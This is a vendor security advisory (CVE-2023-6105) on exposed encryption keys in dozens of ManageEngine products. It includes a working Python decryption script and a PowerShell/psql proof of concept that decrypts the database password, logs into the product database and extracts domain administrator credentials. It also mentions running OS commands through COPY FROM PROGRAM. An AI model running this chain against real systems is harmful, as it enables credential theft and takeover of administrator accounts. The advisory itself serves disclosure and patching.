ManageEngine Information Disclosure

Medium

An information disclosure vulnerability exists in multiple ManageEngine products that can result in encryption keys being exposed. A low-privileged OS user with access to the host where an affected ManageEngine product is installed can view and use the exposed key to decrypt product database passwords. This allows the user to access the ManageEngine product database.

An encryption key is stored in the "CryptTag" configuration in <PRODUCT_INSTALLATION_DIR>\conf\customer-config.xml.

The ManageEngine product database usernames and passwords can be found in <PRODUCT_INSTALLATION_DIR>\conf\database_params.conf.

A database password can be decrypted with the following python script (me_decrypt.py):

import sys

from Crypto.Cipher import AES

from Crypto.Protocol.KDF import PBKDF2

from Crypto.Hash import SHA1

from Crypto.Util.Padding import unpad

data = bytearray.fromhex(sys.argv[1])

pw = sys.argv[2]

salt = data[:20]

key = PBKDF2(pw, salt, 32, 65556, None, SHA1)

cipher = AES.new(key, AES.MODE_CBC, iv=b'\x00'*16)

print(unpad(cipher.decrypt(data[20:]),16).decode())

'''

Usage:

me_decrypt.py <encrypted_data_in_hexstr> <key>

me_decrypt.py <password_in_database_params.conf> <CryptTag_in_customer-config.xml>

python3 me_decrypt.py 'd7910c7070b09da8598b35837122217739c728f09d05354e45f7ebbe3f027781b04d2a1c' 'rfMtKVF1cDxUc0DBov8x'

wkd4uzEHFs

'''

With access to the product database, an attacker can perform the following:

Run OS commands (i.e., via COPY ... FROM PROGRAM '<command>') with privileges of the user account running the database server. This account is usually SYSTEM or some other administrative account.
Modify the database to reset the password of an administrative user for the product.
View data contents to reveal other sensitive information.

Proof of Concept:

To view domain administrative credentials in ADManager Plus build 7182:

# Verify a low-privileged domain user (duser1) is logged in

PS C:\Program Files\ManageEngine\ADManager Plus> whoami /user /groups

USER INFORMATION

User Name SID

========= ==============================================

dw\duser1 S-1-5-21-1667561354-2975149694-3384506032-1605

GROUP INFORMATION

Group Name Type SID Attributes

========================================== ================ ============ ==================================================

Everyone Well-known group S-1-1-0 Mandatory group, Enabled by default, Enabled group

BUILTIN\Users Alias S-1-5-32-545 Mandatory group, Enabled by default, Enabled group

BUILTIN\Remote Desktop Users Alias S-1-5-32-555 Mandatory group, Enabled by default, Enabled group

NT AUTHORITY\REMOTE INTERACTIVE LOGON Well-known group S-1-5-14 Mandatory group, Enabled by default, Enabled group

NT AUTHORITY\INTERACTIVE Well-known group S-1-5-4 Mandatory group, Enabled by default, Enabled group

NT AUTHORITY\Authenticated Users Well-known group S-1-5-11 Mandatory group, Enabled by default, Enabled group

NT AUTHORITY\This Organization Well-known group S-1-5-15 Mandatory group, Enabled by default, Enabled group

LOCAL Well-known group S-1-2-0 Mandatory group, Enabled by default, Enabled group

Authentication authority asserted identity Well-known group S-1-18-1 Mandatory group, Enabled by default, Enabled group

Mandatory Label\Medium Mandatory Level Label S-1-16-8192

PS C:\Program Files\ManageEngine\ADManager Plus>

# Get product database username and password (encrypted)

PS C:\Program Files\ManageEngine\ADManager Plus> Select-String "(username|password)=" .\conf\database_params.conf | select -ExpandProperty line

username=admanager

password=af7638bf753b03f6eaa449be8d030589217b21d3e6ddff8adabe22aed1eebcb11f9b3b40

# Get ECTag (encryption key for domain passwords) and CryptTag (encryption key for DB passwords)

PS C:\Program Files\ManageEngine\ADManager Plus> Select-String "(ECTag|CryptTag)" .\conf\customer-config.xml | select -ExpandProperty line

Decrypt database password using CryptTag as key

python3 me_decrypt.py 'af7638bf753b03f6eaa449be8d030589217b21d3e6ddff8adabe22aed1eebcb11f9b3b40' 'hYC1D8l2-DgXdVVYPIZN'

4p4HvCJsRC

# Decrypt ECTag using CryptTag as key

python3 me_decrypt.py '4e2e52c9c79f1b26dbe59981ab967a9cf3dd21cac24ec3905214be3eac828f19205a53709cce42bd082c8e821128ad751051f668' 'hYC1D8l2-DgXdVVYPIZN'

uBXejNXJxqYn7WeL

# Login to the database using decrypted password

PS C:\Program Files\ManageEngine\ADManager Plus> $Env:PGPASSWORD="4p4HvCJsRC"

PS C:\Program Files\ManageEngine\ADManager Plus> .\pgsql\bin\psql.exe -h 127.0.0.1 -p 33306 -d adsm -U admanager -q

adsm=>

# Grab domain administrative credentials

domain passwords are decrypted by using decypted ECTag as key

adsm=> select domain_name, user_name, pgp_sym_decrypt(password,'uBXejNXJxqYn7WeL','cipher-algo=aes256') AS "password" from ADSCredentials;

domain_name | user_name | password

-------------+---------------+----------

<REDACTED> | administrator | <REDACTED>

March 27, 2023 - Tenable discloses to vendor

April 5, 2023 - Vendor acknowledges

May 11, 2023 - Tenable requests status update

May 25, 2023 - Vendor provides status update and requires disclosure deadline extension

May 29, 2023 - Tenable acknowledges request

May 30, 2023 - Tenable pushes disclosure deadline back 30 days

July 5, 2023 - Tenable requests status update

July 7, 2023 - Vendor provides status update and notes difficulties in patching due to number of affected products

July 10, 2023 - Tenable states that further extensions have been granted

July 27, 2023 - Tenable requests status update

August 4, 2023 - Vendor provides status update

September 5, 2023 - Tenable requests status update

September 5, 2023 - Vendor states that a status update has been requested from dev teams

September 25, 2023 - Vendor provides status update

November 9, 2023 - Tenable requests status update and more information regarding affected products

November 11, 2023 - Vendor acknowledges request

November 13, 2023 - Tenable reserves CVE and informs vendor of intent to publish

November 14, 2023 - Vendor provides full list of affected products and corresponding patches

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Tenable takes product security very seriously. If you believe you have found a vulnerability in one of our products, we ask that you please work with us to quickly resolve it in order to protect customers. Tenable believes in responding quickly to such reports, maintaining communication with researchers, and providing a solution in short order.

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CVE ID: CVE-2023-6105

Tenable Advisory ID: TRA-2023-35

CVSSv3 Base / Temporal Score:
5.5 / 5.1

CVSSv3 Vector:
AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

Affected Products:
Service Desk Plus prior to version 14304
Asset Explorer prior to version 7004
Service Desk Plus MSP prior to version 14305
Support Center Plus prior to version 14304
Access Manager Plus prior to version 4310
PAM 360 prior to version 5700
Password Manager Pro prior to version 12300
OpManager prior to version 125632 on Windows and version 127243 on Linux
Firewall Analyser prior to version 125632 on Windows and version 127243 on Linux
Netflow Analyser prior to version 125632 on Windows and version 127243 on Linux
Network Configurations Manager prior to version 125632 on Windows and version 127243 on Linux
OpUtils prior to version 125632 on Windows and version 127243 on Linux
Creator On-Premise prior to version 2.0.0
Analytics Plus On-Premise prior to version 5300
ADSelfService Plus prior to version 6304
ADManager Plus prior to version 7210
ADAudit Plus prior to version 7251
Cloud Security Plus prior to version 4170
Data Security Plus prior to version 6126
Exchange Reporter Plus prior to version 5713
M365 Manager Plus prior to version 4539
M365 Security Plus prior to version 4539
SharePoint Manager Plus prior to version 4405
Recovery Manager Plus prior to version 6074
Log360 UEBA prior to version 4050
Endpoint Central prior to version 11.2.2322.01
Endpoint Central MSP prior to version 11.2.2322.01
Remote Monitoring and Management prior to version 10.2.11
Mobile Device Management prior to version 10.1.2204.2
Remote Access Plus prior to version 11.2.2328.01
OS Deployer prior to version 1.2.2331.1
Browser Security Plus prior to version 11.2.2328.01
Patch Manager Plus prior to version 11.2.2328.01
Vulnerability Manager Plus prior to version 11.2.2328.01
Application Control Plus prior to version 11.2.2328.01
Patch Connect Plus prior to version 90124
Device Control Plus prior to version 11.2.2328.01
Endpoint DLP Solution prior to version 11.2.2328.01
Secure Gateway Server prior to version 90091

Risk Factor:
Medium

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